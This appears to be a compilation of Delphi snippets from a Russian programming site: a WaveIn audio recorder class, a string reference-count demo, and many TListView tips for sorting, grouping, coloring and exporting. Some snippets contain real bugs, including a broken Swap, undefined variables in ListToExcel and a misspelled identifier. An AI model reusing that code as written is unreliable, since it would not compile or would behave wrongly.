if (pWaveFmtEx = nil) then
Exit;
GlobalUnlock(hWaveFmtEx);
GlobalFree(hWaveFmtEx);
pWaveFmtEx := nil;
end;
{-------------TWaveRecorder.Create------------John Mertus-----Авг--97--}
constructor TWaveRecorder.Create(BFSize, TotalBuffers: Integer);
{ Устанавливаем wave-заголовки, инициализируем указатели данных и }
{ и распределяем буферы дискретизации }
{ BFSize - размер буфера в байтах }
{ }
{**********************************************************************}
var
i: Integer;
begin
inherited Create;
for i := 0 to fTotalBuffers - 1 do
begin
hWaveHeader[i] := 0;
hWaveBuffer[i] := 0;
pWaveBuffer[i] := nil;
pWaveFmtEx := nil;
end;
fBufferSize := BFSize;
fTotalBuffers := TotalBuffers;
{ распределяем память для структуры wave-формата }
if (not AllocWaveFormatEx) then
begin
InitWaveRecorder := FALSE;
Exit;
end;
{ ищем устройство, совместимое с доступными wave-характеристиками }
if (waveInGetNumDevs < 1) then
begin
RecErrorMessage := 'Не найдено устройств, способных записывать звук';
InitWaveRecorder := FALSE;
Exit;
end;
{ распределяем память wave-заголовка }
if (not AllocWaveHeaders) then
begin
InitWaveRecorder := FALSE;
Exit;
end;
{ распределяем память буфера wave-данных }
if (not AllocPCMBuffers) then
begin
InitWaveRecorder := FALSE;
Exit;
end;
InitWaveRecorder := TRUE;
end;
{---------------------Destroy----------------John Mertus---14-Июнь--97--}
destructor TWaveRecorder.Destroy;
{ Просто освобождаем всю память, распределенную InitWaveRecorder. }
{ }
{***********************************************************************}
begin
FreeWaveFormatEx;
FreePCMBuffers;
FreeWaveHeader;
inherited Destroy;
end;
{------------CloseWaveDeviceRecord-----------John Mertus---14-Июнь--97--}
procedure TWaveRecorder.CloseWaveDeviceRecord;
{ Просто освобождаем (закрываем) waveform-устройство. }
{ }
{***********************************************************************}
var
i: Integer;
begin
{ если устройство уже закрыто, то выходим }
if (not bDeviceOpen) then
Exit;
{ работа с заголовками - unprepare }
for i := 0 to fTotalBuffers - 1 do
if (waveInUnprepareHeader(WaveIn, pWaveHeader[i], sizeof(TWAVEHDR)) <> 0)
then
RecErrorMessage := 'Ошибка в waveInUnprepareHeader';
{ сохраняем общий объем записи и обновляем показ }
dwTotalwavesize := dwBytedatasize;
{ закрываем входное wave-устройство }
if (waveInClose(WaveIn) <> 0) then
RecErrorMessage := 'Ошибка закрытия входного устройства';
{ сообщаем вызвавшей функции, что устройство закрыто }
bDeviceOpen := FALSE;
end;
{------------------StopRecord-----------------John Mertus---14-Июнь--97--}
procedure TWaveRecorder.StopRecord;
{ Останавливаем запись и устанавливаем некоторые флаги. }
{ }
{***********************************************************************}
var
iErr: Integer;
begin
RecordActive := False;
iErr := waveInReset(WaveIn);
{ прекращаем запись и возвращаем стоящие в очереди буферы }
if (iErr <> 0) then
begin
RecErrorMessage := 'Ошибка в waveInReset';
end;
CloseWaveDeviceRecord;
end;
{--------------AddNextBuffer------------------John Mertus---14-Июнь--97--}
function TWaveRecorder.AddNextBuffer: Boolean;
{ Добавляем буфер ко входной очереди и переключаем буферный индекс. }
{ }
{***********************************************************************}
var
iErr: Integer;
begin
{ ставим буфер в очередь для получения очередной порции данных }
iErr := waveInAddBuffer(WaveIn, pwaveheader[bufindex], sizeof(TWAVEHDR));
if (iErr <> 0) then
begin
StopRecord;
RecErrorMessage := 'Ошибка добавления буфера' + TWaveInGetErrorText(iErr);
AddNextBuffer := FALSE;
Exit;
end;
{ переключаемся на следующий буфер }
bufindex := (bufindex + 1) mod fTotalBuffers;
QueuedBuffers := QueuedBuffers + 1;
AddNextBuffer := TRUE;
end;
{--------------BufferDoneCallBack------------John Mertus---14-Июнь--97--}
procedure BufferDoneCallBack(
hW: HWAVE; // дескриптор waveform-устройства
uMsg: DWORD; // посылаемое сообщение
dwInstance: DWORD; // экземпляр данных
dwParam1: DWORD; // определяемый приложением параметр
dwParam2: DWORD; // определяемый приложением параметр
); stdcall;
{ Вызывается при наличии у wave-устройства какой-либо информации, }
{ например при заполнении буфера }
{ }
{***********************************************************************}
var
BaseRecorder: PWaveRecorder;
begin
BaseRecorder := Pointer(DwInstance);
with BaseRecorder^ do
begin
ProcessBuffer(uMsg, pWaveBuffer[ProcessedBuffers mod fTotalBuffers],
WaveBufSize);
if (RecordActive) then
case uMsg of
WIM_DATA:
begin
BaseRecorder.AddNextBuffer;
ProcessedBuffers := ProcessedBuffers + 1;
end;
end;
end;
end;
{------------------StartRecord---------------John Mertus---14-Июнь--97--}
function TWaveRecorder.StartRecord: Boolean;
{ Начало записи. }
{ }
{***********************************************************************}
var
iErr, i: Integer;
begin
{ начало записи в первый буфер }
iErr := WaveInStart(WaveIn);
if (iErr <> 0) then
begin
CloseWaveDeviceRecord;
RecErrorMessage := 'Ошибка начала записи wave: ' +
TWaveInGetErrorText(iErr);
end;
RecordActive := TRUE;
{ ставим в очередь следующие буферы }
for i := 1 to fTotalBuffers - 1 do
if (not AddNextBuffer) then
begin
StartRecord := FALSE;
Exit;
end;
StartRecord := True;
end;
{-----------------SetupRecord---------------John Mertus---14-Июнь--97--}
function TWaveRecorder.SetupRecord(P: PWaveRecorder): Boolean;
{ Данная функция делает всю работу по созданию waveform-"записывателя". }
{ }
{***********************************************************************}
var
iErr, i: Integer;
begin
dwTotalwavesize := 0;
dwBytedatasize := 0;
bufindex := 0;
ProcessedBuffers := 0;
QueuedBuffers := 0;
{ открываем устройство для записи }
iErr := waveInOpen(@WaveIn, WAVE_MAPPER, pWaveFmtEx,
Integer(@BufferDoneCallBack),
Integer(P), CALLBACK_FUNCTION + WAVE_ALLOWSYNC);
if (iErr <> 0) then
begin
RecErrorMessage := 'Не могу открыть входное устройство для записи: ' + ^M
+
TWaveInGetErrorText(iErr);
SetupRecord := FALSE;
Exit;
end;
{ сообщаем CloseWaveDeviceRecord(), что устройство открыто }
bDeviceOpen := TRUE;
{ подготавливаем заголовки }
InitWaveHeaders();
for i := 0 to fTotalBuffers - 1 do
begin
iErr := waveInPrepareHeader(WaveIn, pWaveHeader[I], sizeof(TWAVEHDR));
if (iErr <> 0) then
begin
CloseWaveDeviceRecord;
RecErrorMessage := 'Ошибка подготовки заголовка для записи: ' + ^M +
TWaveInGetErrorText(iErr);
SetupRecord := FALSE;
Exit;
end;
end;
{ добавляем первый буфер }
if (not AddNextBuffer) then
begin
SetupRecord := FALSE;
Exit;
end;
SetupRecord := TRUE;
end;
{-----------------ProcessBuffer---------------John Mertus---14-Июнь--97--}
procedure TWaveRecorder.ProcessBuffer(uMsg: Word; P: Pointer; n:
Integer);
{ Болванка процедуры, вызываемой при готовности буфера. }
{ }
{***********************************************************************}
begin
end;
end.
|
LStrings.
unit StrForm;
interface
uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
StdCtrls;
type
TForm1 = class(TForm)
ListBox1: TListBox;
Button2: TButton;
Button3: TButton;
Button4: TButton;
Button5: TButton;
Button6: TButton;
Button7: TButton;
Label1: TLabel;
Button1: TButton;
Button8: TButton;
procedure FormCreate(Sender: TObject);
procedure Button2Click(Sender: TObject);
procedure Button3Click(Sender: TObject);
procedure Button4Click(Sender: TObject);
procedure Button5Click(Sender: TObject);
procedure Button6Click(Sender: TObject);
procedure Button7Click(Sender: TObject);
procedure Button1Click(Sender: TObject);
procedure Button8Click(Sender: TObject);
private
Test, S2, S3: String;
public
procedure UpdateInfo;
end;
var
Form1: TForm1;
implementation
{$R *.DFM}
function GetRefCount (const s: string) : Integer;
var
RefCountPointer: Pointer;
begin
if Pointer(s) <> nil then
begin
RefCountPointer :=
Pointer (Integer (Pointer (s)) - 8);
Result := Integer (RefCountPointer^);
end
else
Result := 0;
end;
function GetSize (const s: String) : Integer;
var
SizePointer: Pointer;
begin
if Pointer(s) <> nil then
begin
SizePointer := Pointer (
Integer (Pointer (s)) - 4);
Result := Integer (SizePointer^);
end
else
Result := 0;
end;
procedure TForm1.UpdateInfo;
begin
with Listbox1.Items do
begin
Clear;
Add ('Text: ' + Test);
Add ('Pascal Size: ' + IntToStr (Length (Test)));
Add ('PChar Size: ' + IntToStr (StrLen (PChar (Test))));
Add (Format ('Address: %p', [Pointer (Test)]));
Add ('Size Info: ' + IntToStr ( GetSize (Test)));
Add ('RefCount Info: ' + IntToStr (GetRefCount (Test)));
end;
end;
procedure TForm1.FormCreate(Sender: TObject);
begin
Test := 'Test String';
UpdateInfo;
end;
procedure TForm1.Button2Click(Sender: TObject);
begin
S2 := Test;
UpdateInfo;
end;
procedure TForm1.Button3Click(Sender: TObject);
begin
S2 := S2 + '*';
UpdateInfo;
end;
procedure TForm1.Button4Click(Sender: TObject);
begin
Test := Test + '*';
UpdateInfo;
end;
procedure TForm1.Button5Click(Sender: TObject);
begin
S3 := Test;
UpdateInfo;
end;
procedure TForm1.Button6Click(Sender: TObject);
begin
SetLength (Test, 100);
GetWindowText (Handle, PChar (Test), 100);
UpdateInfo;
end;
procedure TForm1.Button7Click(Sender: TObject);
begin
Test := PChar (Test);
UpdateInfo;
end;
procedure TForm1.Button1Click(Sender: TObject);
begin
SetLength (Test, StrLen (PChar (Test)));
UpdateInfo;
end;
procedure TForm1.Button8Click(Sender: TObject);
begin
Test := '';
UpdateInfo;
end;
end.
|
Загрузить весь проект
Удаление пробелов в начале строки.
Автор: Hastlero WEB-сайт: http://delphibase.endimus.com
{ **** UBPFD *********** by delphibase.endimus.com ****
>> Удаление пробелов в начале строки
Функция возвращает строку без пробелов в начале (если они были)
Зависимости: Windows, SysUtils
Автор: Hastlero
Copyright: HasTler0
Дата: 8 февраля 2003 г.
***************************************************** }
var
i: Integer;
begin
if Length(str) = 0 then
begin
DelSpaces := str;
Exit;
end;
for i := 1 to length(str) do
begin
if pos(' ', str) = 1 then
delete(str, 1, 1)
else
begin
DelSpaces := str;
Break;
end;
end;
end;
Пример использования:
Str := DelSpaces(Str);
Добавление записей в TStrings, TTreeView или TListView.
Оформил: DeeCo Автор: http://www.swissdelphicenter.ch
{
Bei der Klasse TStrings und den Komponenten TTreeview/TListview gibt es die
Moglichkeit, neben dem einfachen einfugen eines Strings auch Objekte mitanzufugen.
Da eine Klasse TObject erwartet wird, muss man einen kleinen Umweg programmieren.
}
{
The Classes TStrings and the components TTreeview/TListview allow you to add an
additional Object to a string.
Since a TObject is expected, you need to make a little detour to achive this.
}
type
TMyRecord = record
id: Integer;
Name: string;
{...}
end;
PMyRecord = ^TMyRecord;
{...}
{ In this example I use a Listview component }
procedure Form1.Form1Create(Sender: TObject)
var
i: Integer;
pRec: PMyRecord;
begin
for i := 0 to 10 do
begin
new(pRec);
pRec.id := i;
pRec.Name := 'Entry' + IntToStr(i);
{...}
ListView1.AddItem('Entry' + IntToStr(i), Pointer(pRec));
end;
end;
{ To retrieve the stored records just use this: }
procedure Form1.ListView1Click(Sender: TObject);
var
i: Integer;
xRec: TMyRec;
begin
for i := 0 to Listview1.Count - 1 do
if ListView1.Selected[i] then
begin
xRec := PMyRecord(ListView1.Items.Objects[i])^;
ShowMessage(Format('Record #%d Name: %s', [xRec.id, xRec.Name]));
end;
end;
{ finally do not forget to free assigned memory }
procedure Form1.FormClose(Sender: TObject);
var
i: Integer;
begin
for i := 0 to ListView1.Count - 1 do
if ListView1.Items.Objects[i] <> nil then
Dispose(ListView1.Items.Objects[i]);
end;
Отображать элементы TListView как группу XP.
Оформил: DeeCo Автор: http://www.swissdelphicenter.ch
// declarations from commctrl.h
type
TLVGROUP = record
cbSize: UINT;
mask: UINT;
pszHeader: LPWSTR;
cchHeader: Integer;
pszFooter: LPWSTR;
cchFooter: Integer;
iGroupIdL: Integer;
stateMask: UINT;
state: UINT;
uAlign: UINT;
end;
tagLVITEMA = packed record
mask: UINT;
iItem: Integer;
iSubItem: Integer;
state: UINT;
stateMask: UINT;
pszText: PAnsiChar;
cchTextMax: Integer;
iImage: Integer;
lParam: lParam;
iIndent: Integer;
iGroupId: Integer;
cColumns: UINT;
puColumns: PUINT;
end;
TLVITEMA = tagLVITEMA;
const
LVM_ENABLEGROUPVIEW = LVM_FIRST + 157;
LVM_MOVEITEMTOGROUP = LVM_FIRST + 154;
LVM_INSERTGROUP = LVM_FIRST + 145;
LVIF_GROUPID = $0100;
LVGF_HEADER = $00000001;
LVGF_ALIGN = $00000008;
LVGF_GROUPID = $00000010;
LVGA_HEADER_LEFT = $00000001;
LVGA_HEADER_CENTER = $00000002;
LVGA_HEADER_RIGHT = $00000004;
procedure TForm1.Button1Click(Sender: TObject);
var
LvGroup: TLVGROUP;
LvItemA: TLVITEMA;
ListItem: TListItem;
I: Byte;
begin
// Fill listview with random data
Randomize;
for i := 1 to 10 do
begin
ListItem := ListView1.Items.Add;
ListItem.Caption := IntToStr(Random(100));
end;
SendMessage(ListView1.Handle, LVM_ENABLEGROUPVIEW, 1, 0);
// Create Group1
FillChar(LvGroup, SizeOf(TLVGROUP), 0);
with LvGroup do
begin
cbSize := SizeOf(TLVGROUP);
mask := LVGF_HEADER or LVGF_ALIGN or LVGF_GROUPID;
pszHeader := 'Group 1';
cchHeader := Length(LvGroup.pszHeader);
iGroupIdL := 0;
uAlign := LVGA_HEADER_CENTER;
end;
SendMessage(ListView1.Handle, LVM_INSERTGROUP, 0, Longint(@LvGroup));
// Create Group2
FillChar(LvGroup, SizeOf(LvGroup), 0);
with LvGroup do
begin
cbSize := SizeOf(TLVGROUP);
mask := LVGF_HEADER or LVGF_ALIGN or LVGF_GROUPID;
pszHeader := 'Group 2';
cchHeader := Length(LvGroup.pszHeader);
iGroupIdL := 1;
uAlign := LVGA_HEADER_LEFT
end;
SendMessage(ListView1.Handle, LVM_INSERTGROUP, 1, Longint(@LvGroup));
// Assign items to the groups
for I := 0 to ListView1.Items.Count - 1 do
begin
with LvItemA do
begin
FillChar(LvItemA, SizeOf(TLvItemA), 0);
mask := LVIF_GROUPID;
iItem := I;
iGroupId := Random(2);
end;
SendMessage(ListView1.Handle, LVM_SETITEM, 0, Longint(@LvItemA))
end;
end;
// XPManifest needed!
Чередование фона строк в TListView.
Автор: Subfire WEB-сайт: http://delphibase.endimus.com
{ **** UBPFD *********** by delphibase.endimus.com ****
>> Чередование фона строк в TListView
Да какое описание...
Вообщем можно просто copy/past сделать...
Хотя реализация не оптимальная, но общая идея - та что нужна =)))
Зависимости: нету =)
Автор: Subfire, subfire@mail.ru, Питер
Copyright: =) не нужно
Дата: 19 февраля 2003 г.
***************************************************** }
procedure TForm1.ListView1CustomDrawItem(Sender: TCustomListView;
Item: TListItem; State: TCustomDrawState; var DefaultDraw: Boolean);
var
i: word;
begin
if item = nil then
EXIT;
i := Item.Index;
if trunc((i) / 2) < (i / 2) then
sender.canvas.brush.Color := cl3DLight
else
sender.canvas.brush.Color := clwhite;
end;
Определить нажатие на CheckBoxe TListView.
Оформил: DeeCo Автор: http://www.swissdelphicenter.ch
procedure TForm1.ListView1MouseUp(Sender: TObject; Button: TMouseButton;
Shift: TShiftState; X, Y: Integer);
var
Item: TListItem;
HitTest: THitTests;
begin
// Welchem Item gеhцгt die CheckBox
// Which item belongs to the checkbox
Item := ListView1.GetItemAt(x, y);
// Was wurde vom Item genau angeklickt
// What kind of thing was hit on the item
HitTest := ListView1.GetHitTestInfoAt(x, y);
// Falls ein Item angeklickt wurde und davon die Checkbox
// If an Item was hit and exactly his checkbox
if (Item <> nil) and (HitTest = [htOnStateIcon]) then
begin
////////////////////////////////
// Hier das OnCheck behandeln //
// Handle OnCheck here //
////////////////////////////////
// Beispiel
// Example
//
// if Item.Checked = False then
// begin
// if (Item.Index = 0) or (ListView1.Items.Item[Item.Index - 1].Checked = True) then
// Item.Checked := True else Item.Checked := False;
// end else
// begin
// if (Item.Index = ListView1.Items.Count - 1) or (ListView1.Items.Item[Item.Index + 1].Checked = False) then Item.Checked := False else
// Item.Checked := True;
// end;
end;
end;
Цветные строки для TListView.
Оформил: DeeCo Автор: http://www.swissdelphicenter.ch
procedure TForm1.ListView1CustomDrawItem(Sender: TCustomListView;
Item: TListItem; State: TCustomDrawState; var DefaultDraw: Boolean);
begin
with ListView1.Canvas.Brush do
begin
case Item.Index of
0: Color := clYellow;
1: Color := clGreen;
2: Color := clRed;
end;
end;
end;
Определить, по какой колонке в TListView был произведен щелчок.
Оформил: DeeCo Автор: http://www.swissdelphicenter.ch
procedure TFormMain.Listview1ColumnClick(Sender: TObject; Column: TListColumn); var ColumnNr: Integer; begin ColumnNr := Listview1.Column[Column.Index].Index; ShowMessage(IntToStr(ColumnNr)); end;
Сортировать TListView, используя нужный метод.
Оформил: DeeCo Автор: http://www.swissdelphicenter.ch
{
This example shows how to use the TListView's CustomSort method to
sort the items in the list using a ordering function.
This allows you to sort custom data in the correct order you want.
When the user clicks on a column header, the ListView will be sorted
by that column.
If the user clicks on the same column again, the sort order will be toggled.
(***)
Dieses Beispiel zeigt die Verwendung der CustomSort Methode einer TListView.
Damit kann man z.B Zahlen korrekt (d.h nach ihrer Grosse) sortieren lassen.
Wenn der Anwender auf den Kopf einer Spalte klickt, wird die ensprechende
Spalte sortiert. Bei nochmaligem Klicken auf dieselbe Spalte wird die
Sortierreihenfolge umgekehrt.
}
{ custom sort styles }
type
TCustomSortStyle = (cssAlphaNum, cssNumeric, cssDateTime);
var
{ variable to hold the sort style }
LvSortStyle: TCustomSortStyle;
{ array to hold the sort order }
LvSortOrder: array[0..4] of Boolean; // High[LvSortOrder] = Number of Lv Columns
implementation
{$R *.DFM}
function CustomSortProc(Item1, Item2: TListItem; SortColumn: Integer): Integer; stdcall;
var
s1, s2: string;
i1, i2: Integer;
r1, r2: Boolean;
d1, d2: TDateTime;
{ Helper functions }
function IsValidNumber(AString : string; var AInteger : Integer): Boolean;
var
Code: Integer;
begin
Val(AString, AInteger, Code);
Result := (Code = 0);
end;
function IsValidDate(AString : string; var ADateTime : TDateTime): Boolean;
begin
Result := True;
try
ADateTime := StrToDateTime(AString);
except
ADateTime := 0;
Result := False;
end;
end;
function CompareDates(dt1, dt2: TDateTime): Integer;
begin
if (dt1 > dt2) then Result := 1
else
if (dt1 = dt2) then Result := 0
else
Result := -1;
end;
function CompareNumeric(AInt1, AInt2: Integer): Integer;
begin
if AInt1 > AInt2 then Result := 1
else
if AInt1 = AInt2 then Result := 0
else
Result := -1;
end;
begin
Result := 0;
if (Item1 = nil) or (Item2 = nil) then Exit;
case SortColumn of
-1 :
{ Compare Captions }
begin
s1 := Item1.Caption;
s2 := Item2.Caption;
end;
else
{ Compare Subitems }
begin
s1 := '';
s2 := '';
{ Check Range }
if (SortColumn < Item1.SubItems.Count) then
s1 := Item1.SubItems[SortColumn];
if (SortColumn < Item2.SubItems.Count) then
s2 := Item2.SubItems[SortColumn]
end;
end;
{ Sort styles }
case LvSortStyle of
cssAlphaNum : Result := lstrcmp(PChar(s1), PChar(s2));
cssNumeric : begin
r1 := IsValidNumber(s1, i1);
r2 := IsValidNumber(s2, i2);
Result := ord(r1 or r2);
if Result <> 0 then
Result := CompareNumeric(i2, i1);
end;
cssDateTime : begin
r1 := IsValidDate(s1, d1);
r2 := IsValidDate(s2, d2);
Result := ord(r1 or r2);
if Result <> 0 then
Result := CompareDates(d1, d2);
end;
end;
{ Sort direction }
if LvSortOrder[SortColumn + 1] then
Result := - Result;
end;
{ The ListView's OnColumnClick event }
procedure TForm1.ListView1ColumnClick(Sender: TObject; Column: TListColumn);
begin
{ determine the sort style }
if Column.Index = 0 then
LvSortStyle := cssAlphaNum
else
LvSortStyle := cssNumeric;
{ Call the CustomSort method }
ListView1.CustomSort(@CustomSortProc, Column.Index -1);
{ Set the sort order for the column}
LvSortOrder[Column.Index] := not LvSortOrder[Column.Index];
end;
Ускорить удаление элементов из TListView.
Оформил: DeeCo Автор: http://www.swissdelphicenter.ch
procedure AddNewListViewItems;
var
oldViewStyle: TViewStyle;
begin
odlViewStyle := ListView1.ViewStyle;
ListView1.ViewStyle := vsList;
ListView1.Items.Clear;
{ Add new Listitems here }
{ An dieser werden die neuen ListItems eingefugt }
ListView1.ViewStyle := oldViewStyle;
end;
Обмен значениями элементов TListView.
Оформил: DeeCo Автор: http://www.swissdelphicenter.ch
Today I want to describe how you may exchange some items in standard TListView. For example, you have 5 items and want to swap positions for first and third items Problem that standard TListView component haven''t such method and you must realize it yourself. We remember that the standard way from old Pascal times (for numbers) is:procedure Swap(X, Y: Integer); var s: Integer; begin s := X; X := Y; Y := X end;Something similar we can do with TListItem too. But just to save all strings (caption+sub items) somewhere is not enough because TListItem class have a lot of other information (image indexes, pointer as Data, etc) So correct way is to use Assign method:
procedure ExchangeItems(lv: TListView; const i, j: Integer);
var
tempLI: TListItem;
begin
lv.Items.BeginUpdate;
try
tempLI := TListItem.Create(lv.Items);
tempLI.Assign(lv.Items.Item[i]);
lv.Items.Item[i].Assign(lv.Items.Item[j]);
lv.Items.Item[j].Assign(tempLI);
tempLI.Free;
finally
lv.Items.EndUpdate
end;
end;
So structure is a same as in our sample for Integer. All what we added are
BeginUpdate and EndUpdate (just allow to reduce a flickering)
So if you want to exchange items in any ListView, just call this procedure...
Предотвратить изменение ширины колонки для TListView.
Оформил: DeeCo Автор: http://www.swissdelphicenter.ch
private
FListViewOldWndProc: TWndMethod;
procedure ListViewNewWndProc(var Msg: TMessage);
end;
{....}
implementation
uses
CommCtrl;
procedure TForm1.FormCreate(Sender: TObject);
begin
//Sichern der ursprunglichen WindowProc der Listview
FListViewOldWndProc := ListView1.WindowProc;
//Subclassing: Umleiten der WindowProc auf unsere eigene Procedur
Listview1.WindowProc := ListViewNewWndProc;
end;
procedure TForm1.ListViewNewWndProc(var Msg: TMessage);
var
hdn: ^THDNotify;
begin
if Msg.Msg = WM_NOTIFY then
begin
hdn := Pointer(Msg.lParam);
//Abfangen und loschen der HDN_BeginTrack Botschaft
if (hdn.hdr.code = HDN_BeginTrackW) or (hdn.hdr.code = HDN_BeginTrackA) then
Msg.Result := 1
else
FListViewOldWndProc(Msg);
end
// ansonsten Botschaft an die ursprungliche WindowProc weiterreichen
else
FListViewOldWndProc(Msg);
end;
procedure TForm1.FormDestroy(Sender: TObject);
begin
//vor dem Beenden Original WindowProc wiederherstellen
ListView1.WindowProc := FlistViewOldWndProc;
FListViewOldWndProc := nil;
end;
Создать TListView, который автоматически пересортирует при щелчке на заголовке колонки.
Оформил: DeeCo Автор: http://www.swissdelphicenter.ch
unit SortedListView;
interface
uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
ComCtrls;
type
TSortedListView = class(TListView)
private
FSortColumn: Integer;
procedure SetSortColumn(const Value: Integer);
procedure SortedListViewCompare(Sender: TObject; Item1, Item2: TListItem;
Data: Integer; var Compare: Integer);
procedure SortedListViewColumnClick(Sender: TObject; Column: TListColumn);
{ Private declarations }
protected
{ Protected declarations }
public
constructor Create(AOwner: TComponent); override;
{ Public declarations }
published
{ Published declarations }
property SortColumn: Integer read FSortColumn write SetSortColumn;
end;
implementation
{==============================================================================}
{ TSortedListView }
{==============================================================================}
constructor TSortedListView.Create(AOwner: TComponent);
begin
inherited;
OnColumnClick := SortedListViewColumnClick;
OnCompare := SortedListViewCompare;
end;
{==============================================================================}
procedure TSortedListView.SetSortColumn(const Value: Integer);
begin
FSortColumn := Value;
AlphaSort;
end;
{==============================================================================}
procedure TSortedListView.SortedListViewColumnClick(Sender: TObject;
Column: TListColumn);
begin
SortColumn := Column.Index;
end;
{==============================================================================}
procedure TSortedListView.SortedListViewCompare(Sender: TObject;
Item1, Item2: TListItem; Data: Integer; var Compare: Integer);
begin
if SortColumn = 0 then
Compare := CompareText(Item1.Caption, Item2.Caption)
else
Compare := CompareText(Item1.SubItems[SortColumn - 1], Item2.SubItems[SortColumn - 1]);
end;
end.
Сохранить TListView как HTML страницу.
Оформил: DeeCo Автор: http://www.swissdelphicenter.ch
function ListViewConfHTML(Listview:TListview; output:string; center: Boolean) : Boolean;
var
i,f: Integer;
tfile: TextFile;
begin
try
ForceDirectories(ExtractFilePath(output));
AssignFile(tfile,output);
ReWrite(tfile);
WriteLn(tfile,'<html>');
WriteLn(tfile,'<head>');
WriteLn(tfile,'<title>HTML-Ansicht: '+listview.Name+'</title>');
WriteLn(tfile,'</head>');
WriteLn(tfile,'<table border="1" bordercolor="#000000">');
WriteLn(tfile,'<tr>');
for i := 0 to listview.Columns.Count - 1 do
begin
if center then
WriteLn(tfile,'<td><b><center>'+listview.columns[i].caption+'</center></b></td>') else
WriteLn(tfile,'<td><b>'+listview.columns[i].caption+'</b></td>');
end;
WriteLn(tfile,'</tr>');
WriteLn(tfile,'<tr>');
for i := 0 to listview.Items.Count-1 do
begin
WriteLn(tfile,'<td>'+listview.items.item[i].caption+'</td>');
for f := 0 to listview.Columns.Count-2 do
begin
if listview.items.item[i].subitems[f]='' then Write(tfile,'<td>-</td>') else
Write(tfile,'<td>'+listview.items.item[i].subitems[f]+'</td>');
end;
Write(tfile,'</tr>');
end;
WriteLn(tfile,'</table>');
WriteLn(tfile,'</html>');
CloseFile(tfile);
Result := True;
except
Result := False;
end;
end;
procedure TForm1.Button1Click(Sender: TObject);
begin
if ListViewConfHTML(form1.ListView1,'C:\text.html', true) then
ShowMessage('OK/ Hat geklappt') else
ShowMessage('Error occured/ Hat nicht geklappt');
end;
Экспорт TListView в TStringGrid.
Оформил: DeeCo Автор: http://www.swissdelphicenter.ch
procedure ListView2StringGrid(Listview: TListView; StringGrid: TStringGrid);
const
MAX_SUBITEMS = 5;
var
i, j: Integer;
begin
with ListView do
for i := 0 to Items.Count - 1 do
begin
{Get Item of First Column}
StringGrid.Cells[1, i + 1] := Items[i].Caption;
{loop through SubItems}
for j := 0 to MAX_SUBITEMS do
begin
if Items[i].SubItems.Count > j then
StringGrid.Cells[j + 2, i + 1] := Items[i].SubItems.Strings[j]
else
break;
end;
end;
end;
procedure TForm1.Button1Click(Sender: TObject);
var
i: Integer;
begin
// Clear the StringGrid if necessary
// Falls notig, zuerst das StringGrid loschen
i := 0;
while i < StringGrid1.RowCount do
begin
StringGrid1.Rows[i].Clear;
Inc(i);
end;
// Copy ListView1 to StringGrid1
ListView2StringGrid(ListView1, StringGrid1);
end;
Сохранение данных из TListView в XLS.
Автор: dDan WEB-сайт: http://delphibase.endimus.com
{ **** UBPFD *********** by delphibase.endimus.com ****
>> Сохранение данных из ListView в *.xls
Сохранение данных из ListView в *.xls
Зависимости: ComObj
Автор: dDan, ddan2002@mail.ru
Copyright: dDan
Дата: 3 декабря 2003 г.
***************************************************** }
procedure ListToExcel(ListView: TListView);
var
row, i: integer;
Range, Sheet: VAriant;
begin
try
Excel := CreateOleObject('Excel.Application');
except
raise Exception.Create('Невозможно поключиться к серверу Excel');
end;
Screen.Cursor := crHourGlass;
Excel.SheetsInNewWorkBook := 1;
Excel.WorkBooks.Add;
Sheet := Excel.Workbooks[1].Sheets[1];
Range := Sheet.Columns;
Range.Columns[1].ColumnWidth := 30;
Range.Columns[n].ColumnWidth := 30;
Range.Columns[n + 1].ColumnWidth := 30;
Range.Columns.Font.Size := 8;
Range := Sheet.Range['a1:f1'];
Range.Font.Size := 15;
Range.Font.Bold := True;
Range.Columns.Interior.ColorIndex := 6;
Range.HorizontalAlignment := 3;
Sheet.Cells[1, 2] := 'Данные на' + DateToStr(Date); //Заголовок
Range := Sheet.Range['a2:f2'];
Range.Font.Size := 10;
Range.Font.Bold := True;
Sheet.Cells[2, 1] := 'АА'; //Названия столбцов
Sheet.Cells[2, n] := 'ББ';
Sheet.Cells[2, n + 1] := 'вв';
Row := 3;
for i := 0 to List.Items.Count - 1 do
begin
Sheet.Cells[Row, 1] := ListView.Items.Item[i].Caption;
Sheet.Cells[Row, 2] := ListView.Items.Item[i].SubItems[n];
Sheet.Cells[Row, 3] := ListView.Items.Item[i].SubItems[n + 1];
inc(Row);
end;
Screen.Cursor := crDefault;
if SaveDialog.Execute then
Excel.WorkBooks[1].SaveAs(exs.FileName); //Сохраняем
Excel.Visible := True; //Показываем Excel
end;
Предотвратить появление ошибки при использовании TListView в режиме отчета под манифестом XP.
Оформил: DeeCo Автор: http://www.swissdelphicenter.ch
{
The TListView with a vsReport style causes an access violation
when you run your project with a XP manifest resource.
The VCL wrapper has a bug and you must patch sources.
Just copy the comctrls.pas unit in the folder with your own
project and modify the UpdateColumn method.
After compiling the project, a comctrls.dcu is created
and you can replace the original comctrls.dcu with the
patched one.
}
{
Wenn ein XP Manifest als Ressource in eine Exe-Datei eingebunden
wird, um einer Applikation das neue XP-Design zu verleihen,
gibt es bei der TListView mit Style vsReport eine Zugriffsverletzung
und die Anwenung lasst sich nicht starten.
Das ist ein VCL Bug und kann behebt werden, indem
comctrls.pas modifiziert wird.
Kopiere die comctrls.pas in dein Projekte-Verzeichnis und
andere die UpdateColumn Methode wie folgt.
Nach dem Kompilieren wird eine Comctrls.dcu Datei erstellt.
Die original Comctrls.dcu kann nun durch die modifizierte ersetzt werden.
}
// ComCtrls.pas:
procedure TCustomListView.UpdateColumn(AnIndex: Integer);
{...}
with Column, Columns.Items[AnIndex] do
begin
{ PATCH start:}
// mask := LVCF_TEXT or LVCF_FMT or LVCF_IMAGE;
mask := LVCF_TEXT or LVCF_FMT;
if FImageIndex >= 0 then
mask := mask or LVCF_IMAGE;
{ PATCH :end }
{...}
end;
XP Themes - Ошибка kernel32 при отображении ListView.
Оформил: DeeCo
Автор: Олег Грабец.
Приложение, откомпилированное в Delphi 6, будучи запущенным под Windows XP, выдает исключение AV в kernel32 при следующих условиях: к приложению подключается манифест для поддержки тем XP на форме использовался ListView в режиме vsReport с включенным ShowColumnHeaders
Ошибка происходит когда доходит очередь до отрисовки заголовка ListView (см. рисунок). Эксперимент показывает, что от "производителя" манифеста это не зависит.
